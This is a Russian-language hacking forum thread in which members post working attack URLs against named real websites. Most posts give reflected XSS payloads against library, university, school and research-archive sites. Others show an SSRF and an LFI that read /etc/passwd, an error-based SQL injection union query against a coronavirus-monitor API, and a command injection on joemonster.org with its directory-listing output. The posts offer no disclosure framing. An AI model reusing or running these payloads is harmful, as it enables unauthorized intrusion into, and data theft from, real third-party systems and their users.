Уязвимости SQLi, XSS и другие.

Discussion in 'Песочница' started by Егорыч+++, 10 May 2015.

  1. sepo

    sepo Member

    Joined:
    21 Jan 2017
    Messages:
    63
    Likes Received:
    15
    Reputations:
    18
    Code:
    Post-Reformation Digital Library (PRDL) - database that organizes the vast array of publicly available digital sources on the development of theology and philosophy during the early modern era (late 15th-18th c.). The PRDL spans collections from major research libraries, independent scholarly initiatives, and corporate documentation projects.
    Code:
    https://www.prdl.org/pub_name.php?p_name=%3Cscript%3Eprompt(%22xss%22)%3C/script%3E
     
  2. sepo

    sepo Member

    Joined:
    21 Jan 2017
    Messages:
    63
    Likes Received:
    15
    Reputations:
    18
    Code:
    https://www.metaltorg.ru/metal_catalog/tsvetnyye_metally_splavy_prokat/dragotsennyye_metally/zoloto/?module=index%27%22()%26%25%3CScRiPt%20%3Eprompt(972295)%3C/ScRiPt%3E
     
    Jerri likes this.
  3. sepo

    sepo Member

    Joined:
    21 Jan 2017
    Messages:
    63
    Likes Received:
    15
    Reputations:
    18
    University of Oxford
    Faculty of Oriental Studies
    XSS -
    Code:
    http://etcsl.orinst.ox.ac.uk/cgi-bin/etcsl.cgi?charenc=j&display=Crit&text=%3C%2Ffont%3E%3Cscript%3Ealert%281%29%3B%3C%2Fscript%3E%3Cfont%3E
     
  4. sepo

    sepo Member

    Joined:
    21 Jan 2017
    Messages:
    63
    Likes Received:
    15
    Reputations:
    18
    И снова учебное заведение в Великобритании

    Macmillan Academy

    XSS -
    Code:
    http://www.macmillan-academy.org.uk/search.php
    В поле поиска вставляем - '"<script>alert(1);</script>
     
    WallHack likes this.
  5. WallHack

    WallHack Elder - Старейшина

    Joined:
    18 Jul 2013
    Messages:
    280
    Likes Received:
    118
    Reputations:
    26
    SSRF
    Code:
    surfmaxxx.ru/system/web.php?u=file:///etc/passwd
     
    dmax0fw, ms13, fandor9 and 2 others like this.
  6. sepo

    sepo Member

    Joined:
    21 Jan 2017
    Messages:
    63
    Likes Received:
    15
    Reputations:
    18
    XSS in
    The European Genome-phenome Archive (EGA)
    Code:
    https://ega-archive.org/search-results.php?query=<script>alert('1')</script>
     
  7. Lestatkiy

    Lestatkiy Member

    Joined:
    27 Sep 2010
    Messages:
    47
    Likes Received:
    16
    Reputations:
    2
    LFI
    Code:
    https://www.bridgeworld.com/indexphp.php?page=../../../../../etc/passwd
     
    #327 Lestatkiy, 9 May 2020
    Last edited: 28 May 2020
    dmax0fw and karkajoi like this.
  8. 3nvY

    3nvY Member

    Joined:
    8 Jun 2015
    Messages:
    46
    Likes Received:
    19
    Reputations:
    11
    ERROR Based SQL injection

    Code:
    https://client-api.coronavirus-monitor.com/v1/city-comments?per-page=20&q[id_city][or]=1=1)%20union%20SELECT%20cast(concat(version())%20as%20bigint)%20FROM%20information_schema.tables%20--+-
     
    dmax0fw, sepo, Baskin-Robbins and 2 others like this.
  9. sepo

    sepo Member

    Joined:
    21 Jan 2017
    Messages:
    63
    Likes Received:
    15
    Reputations:
    18
    PENNSYLVANIA ASSOCIATION OF PRIVATE SCHOOL ADMINISTRATORS

    Code:
    https://papsa.org/search/results.php?s=%3Cscript%3Ealert(%271%27)%3C/script%3E
     
    Baskin-Robbins likes this.
  10. sepo

    sepo Member

    Joined:
    21 Jan 2017
    Messages:
    63
    Likes Received:
    15
    Reputations:
    18
    Code:
    EPOMM is the European Platform on Mobility Management, a network of governments in European countries that are engaged in Mobility Management (MM)
    XSS:
    Code:
    http://www.epomm.eu/index.php?country_id=21&id=%22%3E%3Cscript%3Ealert%281%29%3B%3C%2Fscript%3E
     
  11. Lestatkiy

    Lestatkiy Member

    Joined:
    27 Sep 2010
    Messages:
    47
    Likes Received:
    16
    Reputations:
    2
    code executed
    Code:
    https://joemonster.org/search.php?q=dir%26dir
    поле поиска под фильтрацией, но есть частичное исполнения комманд
    Code:
    dir&dir
    ответ
    Code:
    Volume in drive H is Storage<br> Volume Serial Number is 20D8-07C3<br> Directory of H:\Gry
     
Loading...